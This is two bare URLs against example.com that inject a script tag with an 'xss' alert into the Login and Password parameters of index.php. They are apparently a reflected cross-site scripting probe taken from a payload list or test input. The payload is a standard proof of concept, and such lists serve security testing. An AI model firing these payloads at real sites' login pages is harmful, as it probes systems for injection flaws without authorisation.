http://www.example.com/index.php?Login=<script>alert('xss')</script>
http://www.example.com/index.php?Password=<script>alert('xss')</script>